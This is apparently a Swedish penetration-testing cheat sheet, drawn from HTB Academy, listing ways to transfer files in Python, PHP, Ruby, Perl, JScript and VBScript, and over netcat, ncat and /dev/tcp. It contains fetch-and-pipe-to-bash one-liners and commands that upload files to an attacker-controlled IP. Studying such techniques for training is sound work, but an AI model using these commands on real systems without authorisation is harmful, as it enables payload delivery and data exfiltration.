Alternativa metoder
Metoder för filöverföring utöver de som är specifika för Linux- och Windows-system. I huvudsak hämtat från HTB Academy.
Python 2.7
Exempel 1:
Ladda ner fil
python2.7 -c 'import urllib;urllib.urlretrieve ("https://<URL>/<fil>", "<fil>")'
Python 3
Exempel 1:
Ladda ner fil
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://<URL>/<fil>", "<fil>")'
Exempel 2:
Ladda upp fil
# Första steget är att starta "uploadserver" från egen klient eller motsvarande
python3 -c 'import requests;requests.post("http://<egen IP-adress>:8000/upload",files={"files":open("<fil>","rb")})'
PHP
Exempel 1:
Ladda ner en fil och spara den
php -r '$file = file_get_contents("https://<URL>/<fil>"); file_put_contents("<fil>",$file);'
Exempel 2:
Ladda ner en fil, läs innehållet och spara till fil
php -r 'const BUFFER = 1024; $fremote = fopen("https://<URL>/<fil>", "rb"); $flocal = fopen("<fil>", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
Exempel 3:
Ladda ner en fil och pipe:a den till Bash
php -r '$lines = @file("https://<URL>/<fil>"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
Ruby
Exempel 1:
Ladda ner en fil
ruby -e 'require "net/http"; File.write("<fil>", Net::HTTP.get(URI.parse("https://<URL>/<fil>")))'
Perl
Exempel 1:
Ladda ner en fil
perl -e 'use LWP::Simple; getstore("https://<URL>/<fil>", "<fil>");'
JavaScript
Ladda ner en fil med hjälp av en JavaScript-fil. Referens: https://superuser.com/questions/25538/how-to-download-files-from-command-line-in-windows-like-wget-or-curl/373068
Steg 1:
Skapa en JavaScript-fil som vi döper till "wget.js"
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
Steg 2:
Från kommandotolk eller PowerShell-terminal, ladda ner en fil med JavaScript och cscript.exe
cscript.exe /nologo wget.js https://<URL>/<fil> <fil>
VBScript
Microsoft Visual Basic Scripting Edition. Finns förinstallerat i Windows sedan Windows 98. Referens:
https://stackoverflow.com/questions/2973136/download-a-file-with-vbs
Steg 1:
Skapa ett VBScript som vi döper till "wget.vbs"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with
Steg 2:
Från kommandotolk eller PowerShell-terminal, ladda ner en fil med VBScript och cscript.exe
cscript.exe /nologo wget.vbs https://<URL>/<fil> <fil>
Netcat
Exempel 1
Ladda ner fil
Steg 1
Ange följande på klient som ska ta emot filen:
nc -l -p <port> > <filnamn>
# -l specificerar att man lyssnar efter trafik
# -p specificerar vilken port man lyssnar på
# > säger att man dirigerar trafiken till en fil som man specificerar namnet på
Steg 2
Från egen klient anger man följande för att skicka filen:
nc -q 0 <IP-adress> <port> < <filnamn>
Exempel 2
Om en brandvägg blockerar inkommande trafik till klienten kan man ansluta direkt till port på egen maskin och sedan skicka över filer.
Steg 1
Ange följande på klient som ska skicka filen:
nc -l -p <port> -q 0 < <filnamn>
Steg 2
Anslut därefter med Netcat för att ta emot filen:
nc <IP-adress till egen maskin> > <filnamn>
Ncat
Ncat är Nmaps vidareutveckling av Netcat som stödjer både SSL, IPv6, SOCKS och HTTPS.
Exempel 1
Ladda ner fil
Steg 1
Ange följande på klient som ska ta emot filen:
ncat -l -p <port> --recv-only > <filnamn>
# -l specificerar att man lyssnar efter trafik
# -p specificerar vilken port man lyssnar på
# --recv-only talar om att man vill stänga anslutningen efter att filöverföringen är klar
# > talar om att man dirigerar trafiken till en fil som man specificerar namnet på
Steg 2
Från egen klient anger man följande för att skicka filen:
ncat --send-only <IP-adress> <port> < <filnamn>
--send-only specificerar att man vill stänga anslutningen så fort filen överförts.
Exempel 2
Om en brandvägg blockerar inkommande trafik till klienten kan man ansluta direkt till port på egen maskin och sedan skicka över filer.
Steg 1
Ange följande på klient som ska skicka filen:
ncat -l -p <port> --send-only < <filnamn>
Steg 2
Anslut därefter med Ncat för att ta emot filen:
ncat <IP-adress till egen maskin> <port> --recv-only > <filnamn>
Bash
Exempel 1
Ladda ner fil
Steg 1
Sätt upp en Netcat- eller Ncat-lyssnare.
# Netcat
nc -l -p <port> -q 0 < <filnamn>
# Ncat
ncat -l -p <port> --send-only < <filnamn>
Steg 2
Anslut till egen maskin och ta emot filen via "/dev/TCP/".
cat < /dev/tcp/<egen IP-adress>/<port> > <filnamn>
PowerShell Remoting/WinRM
Last updated